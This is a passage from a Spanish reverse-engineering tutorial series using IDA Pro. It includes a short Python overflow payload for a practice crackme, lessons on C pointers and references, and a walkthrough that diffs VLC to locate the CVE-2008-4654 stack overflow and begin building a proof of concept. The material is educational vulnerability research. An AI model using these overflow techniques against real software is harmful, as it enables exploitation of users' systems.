Allí lee a EAX la dirección de la estructura así que luego hay otro campo, cuando le suma
un offset.
Esa var_8 es la variable que chequea nunca la uso ni usara más, le pongo cookie pero si no
se el nombre cualquiera servirá.
Vemos que aquí se toma la decisión si cookie es igual a 0x45934215 nos dirá que ganamos
sino chau.
Obviamente todo está dentro de pepe, el buffer y la cookie, así que vayamos a estructuras a
ver los sizes de cada uno.
Tengo que llenar el buffer con 16 aes luego dos dwords más y luego esta cookie sería algo
así.
fruta= “A” * 16 + numero + c + cookie
primera="-1\n"
p.stdin.write(primera)
numero=struct.pack("<L",0x1c)
c=struct.pack("<L",0x90909090)
cookie=struct.pack("<L",0x45934215)
testresult = p.communicate()[0]
print(testresult)
Vemos que le pasa -1 como numero para pasar el chequeo cuando compara con signo
contra 0x10 y luego la fruta de 16 bytes para llenar el buffer, luego el numero al que le paso
un valor correcto de 0x1c porque al overflodear sino lo cambiare, luego c que puede ser
cualquier valor y luego la cookie 0x45934215.
Bueno con esto terminamos la parte 26
http://ricardo.crver.net/WEB/INTRODUCCION%20AL%20REVERSING%20CON%20IDA
%20PRO%20DESDE%20CERO/EJERCICIOS/IDA_STRUCT_RESOLVER%20DESPUES
%20DE%20LA%20PARTE%2026.7z
Cuando arranca y les dice que tratará de hallar los símbolos, podrán apuntar a ese archivo y
cargarlos con lo cual se aclara un poco, pero yo para resolverlo, borrare o renombrare el
archivo pdb así se carga sin símbolos, lo cual es lo que normalmente encontraremos,
aunque es más complejo, es más real.
Allí vemos que tiene referencias pasando el mouse por la flechita, o apretando X en la
dirección.
Vayamos allí.
Vemos que estamos en una función, vemos la string por ahí y el llamado a imprimir la
misma, como no tenemos símbolos, no nos dice que es 0x401220 es printf, si miramos
dentro de la misma.
Allí donde están las flechas que agregue, se ve que no sigue hacia otras funciones, la única
que sigue es 0x4010f0 que llama a dos funciones y una es vfprintf, y de allí luego vuelve, no
hay más hacia abajo.
Eso se puede ver también en el listado si miro dentro de cada función voy a ver lo mismo.
Como son dos direcciones diferentes da la impresión que fueran dos estructuras del
mismo tipo, comenzaremos creando una sola, sin saber el tamaño, sin saber los
campos ni nada, los iremos reverseando poco a poco.
Vemos que el máximo offset que encuentro hasta ahora es 0x14, así que creare una
estructura de ese largo, si llega a ser más grande la agrandaré.
Así que voy a la pestaña structures, es una de las opciones para crearla, la otra seria ir
a LOCAL TYPES y crearla como código en C, lo haremos por ahora aquí.
Es un poco molesto y poco intuitivo realmente, pero bueno cuando estamos en el lugar
donde está definida podemos hacer CREATE STRUCT FROM SELECTION,
normalmente la crearemos en alguna función donde no está definida sin saber nada.
Obviamente sé que si analizo la representación del stack del main podría usar
CREATE STRUCT FROM SELECTION alli y se me facilitaría la vida, pero tomemos el
peor caso, que estemos en una función de un programa muy grande y que estamos
lejísimo de donde fue definida, así que tenemos que arreglarlos como podemos.
Allí vemos que para crear una estructura hay que apretar la tecla INS, lo hacemos.
Allí se creó con size 0, ahora haré un truco para cuando aún no conozco los campos ni
nada y le quiero dar un size, primero apreto D en la palabra ends, para agregar un sólo
campo.
Allí le agrego un campo de 1 byte de largo DB, si volvería a apretar D cambiaria cada
vez a word DW y luego a DWORD DD.
Pero aquí como no sabemos, lo dejamos así y hacemos click derecho en la estructura.
Veo que me quedo con size 0x18 por ahora lo dejaremos así, de necesitar lo
agrandamos.
Como esta función es llamada dos veces, la primera con la dirección de una primera
estructura tipo MyStruct que llamaremos arbitrariamente pepe y la segunda con la
dirección de una segunda estructura del mismo tipo MyStruct que llamaremos juan,
dentro de la función le pondremos un nombre genérico que sirva para ambos casos.
En el código fuente esto se ve así, para aclarar dos variables de tipo MyStruct una
llamada pepe otra llamada juan, ambas se le pasa su dirección como argumento a las
funciones.
Como la misma función tendrá primero la dirección de la primera estructura o pepe en el
arg0 y la segunda vez que se lo llama tendrá la dirección de la estructura juan, le
pondré un nombre genérico para ambas por ejemplo _struct.
Me sale para elegir la dirección de qué estructura es y aquí elegiremos del tipo
MyStruct.
Obviamente Buf es pepe y allí obtiene su dirección y la pasa como argumento, veamos
Buf en la representación del stack.
Como la estructura no es necesario crearla porque ya existe, solo tengo que decirle que
Buf es del tipo MyStruct, para eso ALT mas Q en Buf.
Vuelvo a la función
Vemos que el campo en 0x10 es un dword donde recibe el valor de scanf, así que
vamos a MyStruct y en 0x10 apretamos la D hasta que quede del tipo DWORD DD.
Lo renombrare a número.
La otra entrada es el campo de 0x14 que se usa en el loop para quitar el 0A le pondré c.
Vayamos al 0x14 de MyStruct y apretemos D hasta que sea un DWORD y pongámosle
el nombre c .
Allí apretamos T y ya queda.
Vemos que las tres primeras funciones las llama pasándole pepe y las tres siguientes le
pasa juan.
Ahora si es la dirección de una estructura MyStruct y al igual que antes veremos los
campos, apretando T donde corresponde.
Allí vemos que compara el número que pasamos contra 0x10 y como la comparación es
con signo, cualquier numero negativo podrá pasarlo como por ejemplo 0xffffffff que es -1
el cual es menor que 0x10.
Luego utiliza como size del gets_s el número que le pasamos, y el otro argumento, debe
ser un buffer que se encuentra al inicio de la estructura pues usa la dirección de inicio
de la misma.
Voy a MyStruct y en 0x0 apreto D una vez para que se cree un campo de un solo byte.
Y allí hago click derecho array.
Y lo renombro a Buffer
Allí quedo de largo 16 decimal.
Sigamos reverseando.
La cuestión es que con gets_s el buffer podrá ser overflodeado, ya que el chequeo deja
pasar valores negativos que cuando se usan como size, se tomarán como valores
unsigned, y serán grandes,
Así que podríamos renombrar la función como check o get lo que queramos que sea
representativo de lo que hace la función, le pondremos check para que coincida.
Me queda la tercera función el argumento es el mismo así que repito el procedimiento,
apreto F5 y cambio el tipo de argumento.
Sigo trabajando.
Vemos que hay un campo más ya que está tratando de comparar el [EAX+0x18], lo cual
no tenemos definido pues el último campo nuestro de MyStruct es 0x14 lo agregaremos.
Nos ponemos en la palabra ends y apretamos D hasta que se crea un nuevo campo DD
DWORD.
Lo renombro a cookie.
Vuelvo a la función y apreto T.
Así que volvemos a MyStruct y en ends apretamos D una vez y nos quedará un campo
de un byte.
Si por algún cambio que no se propagó bien se rompen las variables del main y no
hicimos snapshot como me pasó a mí.
Vemos que después de cada estructura quedan tres bytes vacíos porque el último
campo era uno de un solo byte y no hay más nada.
Solo quedaron mal los nombres de las estructuras, pero los cambiare como en el código
fuente a pepe y juan.
Vemos que con juan hará lo mismo en enter y check que hizo con pepe, pero tiene una
tercera función diferente, veamos que hace.
Al apretar T en los campos, vemos que es similar a la función “desicion”, solo que la
constante con que compara la cookie de juan es diferente en este caso 0x33343536.
O sea que la cookie de pepe debe valer 0x99989796 y la de juan debe valer
0x33343536 con eso ambos flags de cada estructura estarán a 1.
Vemos que para que llegue al chico bueno ambos flags deben ser 1.
Este ejercicio tiene muchas soluciones porque como la estructura juan está más arriba
en el stack.
Al hacer su gets_s podríamos pisar todos los flags para que queden a 1 y de esa forma,
con un solo overflow, poder pasar los chequeos, también se puede hacer en forma
individual, pisando en cada gets_s el flag y no es necesario pisar la cookie con el valor
correcto, porque pisamos directamente el flag sin esperar que compare la cookie para
que cambie el mismo.
Para pisar el flag tengo 16 bytes decimal, más 3 dwords o sea 12,
seria
16 + 12=28 bytes.
Seria
Allí veo la dirección de pepe en mi máquina, luego de pasar por el gets_s si voy allí.
Allí veo la fruta que le envíe, si quiero convertir en estructura.
Elijo MyStruct.
Veo los campos y que flag está ya pisado a 1 por el overflow, sin pasar por las otras
funciones, sigo traceando.
Vemos que compara cookie contra 0x99989796 y como no es igual no modifica el flag
pero el mismo ya está a 1, así que no me importa.
Lo mismo que antes el flag estará a 1, la comparación con la cookie no será igual pero
continuo pues el flag ya está bien.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
28
_________________________________________________________________________
Como siempre vamos alternando algo de teoría con los ejercicios de práctica para tratar de
afianzarnos poco a poco e ir avanzando.
En esta parte veremos algunos temas teóricos sin tratar de ser muy técnicos ni pesados,
sobre temas que hay que conocer.
int pepe=4;
Se reservarán en una posición de memoria el espacio necesario para guardar en este caso
un entero o sea 4 bytes y luego cuando se asigna el valor 4, tendremos en una dirección de
memoria el valor 4 de pepe guardado.
Allí vemos ese caso la variable int pepe y como la inicializa a 4, si arrancamos el debugger y
ponemos un breakpoint aquí
.
Y arrancamos el debugger LOCAL WIN32 DEBUGGER.
Cuando para allí si ponemos el mouse encima de pepe, vemos la dirección de memoria
donde están reservados los 4 bytes para el entero que se supone que almacenará.
Si hago click allí en pepe iré a ver(la dirección no coincidirá con la suya)
Como es un entero puedo allí apretar D hasta que cambie a DD o sea DWORD.
Allí está marcado como DWORD y con cero porque aún no guardo el valor 4, si ejecuto la
instrucción que lo guarda y vuelvo a mirar.
No se imprime hasta que no termina y se cierra, así que si lo ejecuto en una consola veo el
4 que es el valor de pepe.
Ahora cambiare el código para que no solo imprima el valor de pepe sino su dirección.
Vemos los dos print el primero mediante MOV pasa el valor 4 de pepe a EAX y luego lo
imprime, y en el segundo print con LEA halla la dirección de pepe y la imprime.
En este caso la dirección de pepe en mi máquina será 0xCFFA74 voy allí y apretando D
cambio a DWORD.
Llego hasta el LEA si pongo el mouse sobre pepe, veo que ya está guardado el valor 4, al
ejecutar el LEA.
Veo que ahora ECX tiene la dirección de pepe que es lo que imprimirá en segundo lugar si
lo corremos fuera de IDA veremos cómo imprime, en cada tiro la dirección cambiara pero
imprimirá el valor y la dirección actual de pepe.
Vemos que en cada caso sea un entero, sea un buffer, una estructura o el tipo de dato que
sea tendremos una dirección donde está guardado (o donde comienza si es un buffer o
estructura) y un valor que es el contenido que se aloja allí.
PUNTEROS.
Como hay muchos tipos de datos, existe un tipo de datos más que sirve para guardar y
manejar direcciones de memoria, se llama puntero.
Un puntero es tan solo un tipo de datos más, como int almacena enteros, char caracteres o
float almacena números de punto flotante pues los punteros almacenan direcciones de
memoria.
Por ejemplo en el caso anterior qué pasaría si en vez de imprimir la dirección de pepe,
quisiera guardarla, como es una dirección de memoria, debería usar otra variable de tipo
puntero que la guarde.
int * jose;
se diferencia de
int jose;
en que este último es una variable del tipo entero, mientras que el primero es una variable
del tipo puntero que guarda direcciones de memoria que apuntan a enteros.
O sea no solo al definir un puntero, definimos una variable que guarda una dirección de
memoria, sino que le decimos esa dirección de memoria, a qué tipo de dato apuntara, si
trato de guardar un puntero a otro tipo de dato en este caso fallará.
En el ejemplo anterior.
Vemos que jose sería un puntero a un entero pero aún no tiene asignado ningún valor,
podría asignarle la dirección de memoria de pepe, cuyo valor es un entero, con lo cual
cumplimos ambos puntos, que guarde una dirección de memoria y que dicha dirección
apunte a un int.
Allí vemos que le asignamos a jose la dirección de memoria de pepe que como es un int
estará bien, coinciden los tipos.
Allí ocurre eso, halla la dirección de pepe con LEA y la guarda en jose que como es un
puntero sirve para guardar direcciones de memoria de variables o argumentos y como dicha
variable es un entero, está todo bien , imprimirá el valor de jose que será igual a la dirección
de pepe.
Allí lo vemos y entendemos que un puntero sirve para eso, para almacenar y trabajar con
direcciones de memoria de variables o argumentos.
No nos muestra la variable jose pues para economizar directamente usa &pepe en vez de
jose.
Cuando se llega a esta punto uno dice, pero bueno qué diferencia hay para tener que crear
un tipo de dato especial que guarde direcciones de memoria, no podría usarse un int y que
guarde allí la dirección?
Sería algo así, quitando el asterisco a la definición de jose será un entero, y si allí quiero
guardar la dirección de pepe.
No me deja me da error, así que, no queda otra que usar punteros jeje.
Los punteros además me permiten leer cambiar y trabajar con los valores a los cuales
apuntan.
José guarda la dirección de memoria de la variable pepe y este vale 4 con lo cual quedan
relacionados entre sí, si hago.
*jose = 8;
Se usa el asterisco no solo para definir un puntero, sino también para acceder al contenido
al que apunta(en este caso se llama indirección).
Y como el valor de jose es la dirección de memoria de pepe, jose es un puntero que apunta
al valor de pepe o sea el 4 si lo cambio a 8, cambiare el valor de pepe también.
Vemos que cambiando el contenido de jose, afectamos el valor de pepe, lo cual es lógico,
pues jose tiene como valor la dirección de memoria de pepe y apunta allí, al ahora 8.
Es importante y por eso paso los ejemplos compilados que entiendan bien esto, y que
debuggeen y constaten hasta estar seguros.
Vemos que lee jose que es la dirección de pepe, y guarda en el contenido el valor 8, si
debuggeamos desde el principio.
Arrancamos el debugger.
Luego que guarda el 4 vemos la dirección de pepe en mi caso 0xB1fd88 y el valor de pepe
4.
si sigo traceando.
Allí con LEA obtiene la dirección de pepe, que queda en ECX y la imprime, sigo traceando.
Luego de que guarda en jose la dirección de pepe, vemos allí que guardo 0xB1Fdd4 que
pasará a ser el valor de jose. (la misma dirección de memoria de pepe).
Vemos como habíamos dicho que IDA muestra esa dirección como
Habíamos dicho que OFFSET en IDA significaba una dirección de memoria y el DWORD
que está al lado significa que apunta a un DWORD (int).
Allí pasa el valor de jose a ECX y guarda en su contenido el 8, donde antes estaba el 4.
obvio que el contenido de jose es el valor de pepe, el cual imprime luego.
Vemos que el pseudocódigo sigue trabajando siempre con pepe y no muestra el puntero
jose, directamente en vez de usar punteros, usa modificar directamente el valor de pepe lo
cual funciona pero no es el código original.
Obviamente
pepe =8
es igual que
*jose=8
Igual el pseudocódigo no muestra cambios, de cualquier forma el código que genera es una
aproximación y optimiza mucho para aclarar, lo cual no se puede tomar como la verdad
revelada jeje.
Veamos el siguiente ejemplo que es un caso donde los punteros son más útiles, cuando hay
que pasarle argumentos a una función.
Vemos que definimos un entero n que vale 4 y le pasamos el valor a una función sumar,
dicha función asigna el 4 a la variable local x le suma 1, y imprime 5, pero al salir n sigue
valiendo 4, pues el ámbito de validez de la variable n es la función main y el ámbito de x es
la función sumar, son variables son diferente ámbito de validez y que cambies una no afecta
a la otra.
Ahora como hago si quiero trabajar dentro de funciones y modificar el valor de n, pasando
así por valor, como hicimos en el ejemplo anterior no nos sirve para nada, pero si usamos
punteros, los cuales sirven para estos casos, los mismos permiten almacenar una dirección
de memoria de una variable de main como en este caso.
La función sumar está definida con un solo un argumento x que es un puntero a un entero.
sumar(&n);
Sabemos que un puntero almacena direcciones de memoria y en este caso le pasamos la
dirección de memoria de n que apunta a un entero, así que está todo bien.
void sumar(int * x)
{
*x+=1;
printf("valor de *x = %x \n", *x);
}
Así que n cambio y dentro de main no le hicimos ningún cambio, ni hay referencia a ninguna
operación sobre ella, es que al pasar la dirección de la misma como argumento y trabajar
dentro de la función con un puntero que la recibió, accedemos a su valor y lo modificamos
igualmente.
Veámoslo en IDA.
Vemos que se inicializa n al inicio cuando se le asigna el valor 4, y luego se pasa la
dirección de n como argumento a la función sumar (y no se pasa el valor).
Veamos la función.
Por lo tanto vemos que pasar direcciones por medio de punteros nos sirve para trabajar con
los valores de variables de otro ámbito, que si no aquí no podría cambiar.
int * x
Además de los punteros el lenguaje C++ tiene otra característica que son las referencias,
una referencia es por así decirlo un alias o etiqueta de una variable.
int n = 4;
int &ref_n = n;
al poner & delante de una variable en la declaración, lo que hago es crear un alias de la
misma variable que incluso comparten la misma dirección de memoria.
Si lo ejecuto
De esa forma si tengo dos variables que comparten la misma posición de memoria, si
cambio una cambio otra.
Así que eso me servirá más que nada para escribir más cómodamente la función sumar sin
usar punteros.
Vemos que le paso el valor de n pero la función crea un alias de n que comparten la misma
dirección, así que modificar x es lo mismo que modificar n.
Vemos que no tenemos que lidiar con contenidos ni nada solo directamente, cambiar el
valor.
La alegría se esfumó
Vemos que todo eso es algo para ayudar a escribir más fácilmente el código fuente, pero a
bajo nivel sigue usando punteros, vemos que no pasa el valor de n sino la dirección como
antes.
Así que el alias o referencia es muy cómodo para escribir código, pero a bajo nivel solo
debemos lidiar con punteros.:-(
Hasta la parte 29
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
29
_________________________________________________________________________
Con lo que hemos visto hasta ahora podemos intentar al menos analizar programas reales,
para ellos les daré un ejercicio que en la parte 30 solucionare yo, me gustaría que lo tomen
como algo divertido y que me envíen lo que encuentren.
Aclaro que no es nada fácil, así que no se depriman jeje.
La idea es que les doy dos versiones consecutivas de un programa, así que puede haber en
la más nueva parches que se pueden hallar diffeando o analizando.
Yo les aconsejo hacer un diff como vimos en las partes anteriores y tratar de ver si hay
overflows y me lo envían no es necesario escribir código solo hallar funciones vulnerables
en el que quieran.
Adjuntos están los instaladores en su versión más vieja y nueva, quizás lo mejor sería en
una máquina virtual instalar el viejo hacer un snapshot y luego el nuevo y otro, así se
pueden extraer los archivos para diffear de ambas.
La idea es divertirse y jugar un rato no importa si les sale o no esta bueno intentar.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4654
Luego de instalar en una máquina virtual la versión vulnerable y a versión parchada, miraré
la información del CVE a ver si me da una pista para poder ayudarme a no diffear tanto.
Si miro la carpeta donde está instalado el VLC, veo que el mismo se organiza para manejar
diferentes extensiones con una carpeta llamada plugins.
Veamos si por el nombre hay alguno que indique que trabaja con el formato TIVO o TY.
Bueno hay un libty_plugin.dll que parece ser bastante sospechoso, hagamos el diff en el
mismo.
Vemos que hay cuatro funciones cambiadas, lo que normalmente hacemos es mirarlas
primero a vuelo de pájaro, marcando las más sospechosas para luego si ponernos a
reversear esas solamente más profundamente.
Buscamos un parche que impida un stack overflow, vemos por ejemplo esta función
cambiada.
No se ve que eso impida nada solo una dirección a ESI, no puede haber problema con eso.
Vemos que es solo un cambio en el orden que no afecta en la vulnerable movía esa
dirección a ESI la cual guardaba en la var_1b4 y en la parcheada lo mueve la dirección a
ECX y lo guarda igual en var_1b4, nada por aquí.
En la siguiente lo mismo muchos cambios pero a veces usa otro registro para el mismo
efecto, pero es lo mismo, cambios de orden, esto de abajo no afecta.
Vemos algunos cambios en la forma que calcula var_70 pero no veo que la lea o utilice en
ningún lugar dentro de la función y es una variable local, tampoco se pasa como argumento
ni se compara, lo tendremos en cuenta muy mínimamente, por ahora no es prioridad.
Esa función no tiene nada más, no se ve como candidata, sigamos mirando a vuelo de
pájaro.
Haciendo click derecho - delete matches en los bloques que no coinciden, y luego
marcando los que deben coincidir y haciendo add basic block match.
Hay bloques que se veían muy diferentes al estar mal matcheados pero al emparejarlos
bien
Si los miro se ven iguales ahora salvo que quedan un poco mal dibujados.
A veces funciones que quedan muy desarmadas conviene ayudarse con el turbodiff también
que al menos no se desarman tanto allí.
Por los id de bloque vamos mirando.
Vemos que las variables están corridas pero las comparaciones son similares (68-6c y en la
nueva 60-64)
Tampoco hay cambio de signo en la comparación (JB por JL o algo así, se mantiene)
La inversión de comparación JA por JB, si se invierten los destinos es lo mismo, no cambia
nada.
Sigamos mirando.
A vuelo de pájaro acá se ve bastante similar no hay cambio de signo en la comparación,
cambios menores.
Allí vemos un par de filtros que el viejo no tiene, igual EDI es pisado apenas más adelante,
así que pueden ser casos agregados, los dejamos marcados pero no se ve como
sospechoso de overflow.
Vemos allí el JB en la vieja esta un poco más abajo, hay cambios aquí para estudiar más
adelante si no hallamos nada más.
Recordemos que no estamos reverseando a fondo solo buscando algo que nos llame la
atención como muy probable.
Aquí si se ve algo muy posible que afecte, un campo de la estructura que se compara, y en
uno toma una decisión con JLE y en el otro con JBE eso es un cambio de signo y lo
apuntamos como muy posible.
Es una muy función muy compleja la analizaremos luego ya vimos algo muy posible, lo
anotamos y miremos un poco la última.
Antes de entrar en el LOOP se inicializa a cero el contador, creo que esta es más fácil para
empezar a reversear que la anterior, aunque ambas pueden ser la culpable, empezamos
siempre por la mas facil, jeje, esta última.
Empecemos con paciencia pues se ve complejo, renombramos a var_48 como contador.
Allí cambia de valor EBP, o sea que entre ambas direcciones EBP se mantiene constante y
es la dirección de la estructura.
Vemos que es una estructura muy grande hay campos 0xbexx lo cual es una estructura
gigante, hagámosla, creo que la mayor parte de los campos son 0xbexx así que podemos
hacer una estructura de largo 0xbf00 que abarque los que vemos para agrandar o achicar
hay tiempo.
Puedo renombrar el campo como MÁXIMO ya que se supone que es el valor máximo que
debería repetirse el ciclo antes de salir.
Apreto T
Puedo apretar la Y y cambiarle el tipo ya que sé que es SIGNED INT, por el JLE que lo
compara.
Ahí quedo mas lindo, el signed int lo pongo aunque no afectara mucho, salvo que use el
decompiler hex rays lo cual no haré por ahora, pero me gusta acomodar bien las cosas.
Seguiré estudiando.
Vemos que hay un malloc, la misma es la función usada para reservar un buffer
dinámicamente, no en el stack, sino en la memoria.
Vemos cuatro variables del tipo byte a partir de las cuales se realizan las operaciones que
arman el size el cual se le hace al final SHL EAX, 4 antes de pasarlo a malloc.
El shift de bytes SHL EAX, 4 es equivalente a EAX por 16, pero antes de multiplicar lo
guarda en la variable MAXIMO si apreto T veo que es la misma.
Vemos que los valores negativos de máximo son filtrados aquí.
Vemos que en vez de multiplicar por 16 lo que hace es pasarle a calloc que tiene un
argumento más, el tamaño de cada elemento que es 0x10, con lo cual la multiplicación la
realiza la api, de size por tamaño de cada elemento.
MALLOC o CALLOC se usa para reservar memoria, las direcciones que devuelve son
variables no siempre nos dará una zona con la misma dirección de memoria, más adelante
estudiaremos el heap o la forma de reservar memoria, pero por ahora, nos dará una zona
de memoria para trabajar del tamaño que le pidamos.
En el vulnerable antes de calcular el size multiplica MÁXIMO por 16 y luego lo pasa a malloc
en el parcheado no lo hace y pasa directamente el MÁXIMO a calloc y está calcula
internamente la multiplicación por 16 que es el size de cada elemento.
El problema es que sí MÁXIMO es por ejemplo 0x20 bytes y lo multiplica por 16 será igual a
Reservara 512 bytes y luego copiará 0x20 pues compara dentro del loop y sale cuando el
contador es mayor que máximo.
Ahora que pasa si el valor de MÁXIMO es positivo pero al multiplicarlo por 16 da más chico
que el valor inicial.
Allí se ve a la salida del calloc EAX vale cero, mientras que en la vulnerable usa malloc y
alloca igual.
Lo renombro.
Bueno le pongo con Y que es una variable puntero, que guarda la dirección del buffer que
reservo en el heap, como no sé que hay allí, le puse que es un array de caracteres , o sea
un buffer de bytes pero puedo cambiarlo si veo que es otra cosa.
Allí vemos dentro del loop que toma la dirección y escribe, le suma EDI que es el mismo
contador por 16.
También hay acá dentro del LOOP escribe también en este otro EBX que cambio viene de
ese EDI, tendríamos que ver dónde está escribiendo aquí.
Vemos que esa dirección de destino viene de acá
Si apreto T.
Veo que ESI es la dirección del buffer en el HEAP y le suma ECX que viene de EDI que es
el contador, así que en esta función hay heap overflows ya que como vimos máximo puede
ser un valor más grande que el size que se allocó y desborda.
Vemos que allí hay un LEA, así que será un buffer en el stack.
Y las variables que van a continuación son parte del buffer pues no se guarda valor nunca
en ellas, solo se lee, así que es seguro que llenará las variables a continuación cuando llena
el buffer.
OOPs veo que el buffer siguiente no lo llena sino que lee bytes de allí, así que es parte del
mismo buffer de arriba porque no puede leer bytes del mismo si no tiene ninguna referencia
donde se llena.
Así que veamos bien si seguimos mirando vemos que el buffer continua hacia abajo hasta
aquí, todas las otras variables intermedias solo tienen acceso de lectura, así que se
inicializan en el mismo buffer.
Ahora si incluso la var_1c es otro buffer que se usa para llenar en otra llamada a
stream_Control.
La cuestión es que es un buffer chico, solo 32 bytes, si se le puede pasar un valor grande
desbordara.
Acá vemos el parche en la nueva sobre ese valor chequea que si es más grande que 8 no
va a stream_Read.
Allí está seguramente dentro de stream_Read habrá algún memcpy que copie DWORDS
por eso compara si es mayor que 8, pues si copia más que 8 dwords, será 8 *4 mayor que
32 que es el largo del buffer, así que poniendo ahí un valor más grande que 8 tendremos un
stack overflow.
https://samples.libav.org/TiVo/test-dtivo-junkskip.ty%2B
Ese sample con un poco de ganas lo convertí en un POC que produce el stack overflow,
cambiando el valor que se filtra y ajustando algunos más que hay alrededor para que llegue
al punto del stream_Read.
Hasta la parte 31
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
31
_________________________________________________________________________
Antes de hacer el ejercicio de la parte anterior voy a poner algo más de explicación sobre
algunos puntos que quedaron un poco oscuros en la velocidad de solucionar el mismo y
luego armaremos el POC.
Uno de los puntos que quedo poco claro es porque a veces aceptamos el largo del array
que nos propone IDA al hacer click derecho-ARRAY y a veces lo cuestionamos como en el
ejercicio anterior y ponemos un valor de largo más grande.
Obviamente eso se realiza por experiencia más que nada, pero vamos a tratar de explicar
con un par de ejemplos cuál es el criterio.
Tiene una entrada por teclado para ingresar el size el cual se chequea que no sea mayor o
igual que 0x200 (unsigned).
Luego un loop que se repite la cantidad de veces igual a size, para leer de teclado con
getchar de a un carácter lo que tipeamos.
Esto no sería vulnerable a buffer overflow, porque el size es unsigned, así que no hay
problemas de signo al comparar contra 0x200.
Y luego irá leyendo caracteres y copiando al buffer que como su largo es 0x200 no
desbordara.
Si lo veo con IDA, como lo compile con símbolos ya detecta el buffer correctamente (512
decimal es 0x200), igual si lo compilo nuevamente sin símbolos.
Allí está una referencia clara cuando imprime el buffer al final, normalmente cuando hay una
referencia con un LEA casi seguro es un buffer, además 0x401190 será printf.
La otra referencia a buffer es dentro del loop cuando lo va llenando con los bytes que lee
con getchar.
Ahora vayamos a la representación del stack y veamos el largo del buffer.
Vemos que nos dice 512 que estaría correcto, pero porque dice 512?
Porque IDA mira el espacio vacío que hay hasta la siguiente variable que es var_4, ahora el
método para asegurarnos es ver donde se guarda por primera vez un valor y donde se usa
a posteriori esa var_4, veamos.
Vemos que hay dos lugares uno donde se inicializa con un valor (se guarda la SECURITY
COOKIE) y otro posterior donde se lee.
Vayamos al primero.
Vemos que mucho antes de que se llene el buffer en el loop, la var_4 toma valor en forma
que no tiene relación con el buffer, por lo cual determinamos que es una variable
independiente y que no pertenece al buffer.
Lo guardo como BUFFER1.exe, aquí IDA no se equivocó.
Ahora haré otro ejemplo a este lo llamaré BUFFER2.exe.
Vemos que el tamaño del buffer sigue de 0x200, todo es igual al ejemplo anterior, salvo que
aquí, imprimo el CUARTO BYTE del buffer, y comparo el QUINTO BYTE con cero y si es
igual imprimo buffer.
Vemos que con símbolos no hubo problema, sigue detectando el buffer como de 0x200 y el
CUARTO BYTE que imprime.
Vemos que no lo toma como una variable independiente lo cual era mi idea, lee el cuarto
byte del buffer al que accede sumándole 4 (SHL EDX, 2 es igual a multiplicar EDX por 4) y
luego se lo suma a la dirección de inicio del buffer para buscar el valor del cuarto byte.
Aquí multiplica EDX por 5 y se lo suma al inicio del buffer para apuntar y hace MOVSX a
EAX el contenido luego si es distinto de cero evita imprimir.
Vemos claramente que el buffer no fue afectado y que con símbolos IDA sigue detectando
bien el largo del mismo, veamos sin símbolos.
Lo abro y veo que IDA no se equivocó, no asigna una variable a los valores cuarto y quinto
del buffer (aunque hay casos en que si lo hace) sigue dándome 512 de largo porque la
siguiente variable sigue siendo var_4 el CANARY, si por algún motivo IDA detectara esos
bytes cuarto y quinto como variables, obviamente no serían independientes, pues solo se
llenan en el momento que se llena el buffer, fuera de eso no hay otro lugar donde guarda
valores allí, por lo cual las debo considerar como parte del buffer.
Ese LEA es muy posible un buffer en el stack que le pasa a la función stream_Read,
renombrémoslo a buffer.
Vayamos mirando las variables que hay hacia abajo, para ver cuál es la primera
independiente del buffer.
Vemos que si es un buffer pero que es parte del mismo buffer anterior, pues no tiene ningún
lugar independiente donde se llene, ya la primera referencia se pasa como source a un reps
movs para lo cual ya tiene que tener valores guardados para poder copiarlos a otro lugar,
También marca DOWN o sea que se usa después del llenado del buffer original, así que
nada sigamos bajando.
Sigue en todas las variables siguientes solo leyendo más abajo de donde se llena el buffer
hasta acá.
Este muestra un LEA y UP o sea que está más arriba de donde se llena el buffer original.
No había visto por hacerlo con velocidad que hay otra llamada a stream_Read más arriba
con el mismo buffer.
Igual el análisis es el mismo no hay ninguna de las variables hasta la 1c que tenga
referencias de escritura en las mismas, antes de alguno de los lugares donde se llena el
buffer.
Quedo de 32 bytes, y todas las variables que quedaron dentro del buffer pudimos verificar
que son internas del mismo, y no son independientes.
Veo que la función depende de un arg_0 que es una constante que viene de la llamada,
pues según esa constante decide adonde saltar. [eax+2c].
Podría reversear para hallar adonde salta pero como voy a armar el POC y para eso tengo
que debuggear lo resolveré debuggeando.
Para los que preguntaron que era un POC es un proof of concept que no es un exploit
completo, pero demuestra la vulnerabilidad, creando un archivo ty en este caso, que
desborde el buffer de 32 bytes.
Como lo tengo remoto al programa lo atacheare con el debugger remoto, el que lo tenga
local elige el debugger local y lo atachea.
Primero voy a ver de dónde sale ese valor ESI que tiene el size a copiar y que se ve que
proviene de var_58, lo renombrare a size_a_copiar.
Vemos donde lo guarda y que le realiza una división con IDIV, pero primero vayamos a
donde lo guarda.
Vemos que ese EDI que se guarda en size_a_copiar viene de otra variable var_5c y que le
suma 8, renombrare.
Vemos que todo sale del primer llamado a stream_Read, saca los bytes de la posición 14-
15-16 y 17 y lo armara para mediante shl y or quede el DWORD seguramente en
size_a_copiar_menos_8.
Atacheo.
Después de reproducir un rato para en el Breakpoint.
Ahora puedo hacer click derecho y crear el array ahí en la memoria, de 32 bytes decimal.
Allí quedo.
Ponemos un breakpoint on write en el primer dword del buffer para ver que pare cuando lo
llene dentro de stream_Read.
Al dar RUN para en la msvcrt en un rep movsd copiando al buffer.
Lo cierto es que reps movs copia desde lo que apunta ESI que es el source a lo que apunta
EDI que es el destino, y ECX es la cantidad de dwords a copiar, veamos a qué apunta ESI
hacemos click en la flechita al lado de ESI pero teniendo el foco en HEX DUMP para ver allí.
Eso es lo que copia en el BUFFER abramos el archivo .ty en un editor hexa y aquí
hagamos.
Marquemos 32 bytes y hagamos EDIT-EXPORT DATA para copiar los bytes marcados en
el formato que queremos.
Lo puedo poner en hex dump y sumarle 0x14 a la dirección del buffer y veo que es el 00 00
00 02 que habíamos visto en el archivo.
Vemos que todo eso es para armar el DWORD y pasarlo a EDI, luego debería sumarle 8.
Y más adelante hará un IDIV lleguemos ahí.
Allí está el 0x0a que provino del 0x02 que leyó del archivo y le sumó 8, quedando 0xa.
IDIV es la división con signo dividirá EDX:EAX por el size a copiar el que no se modificara,
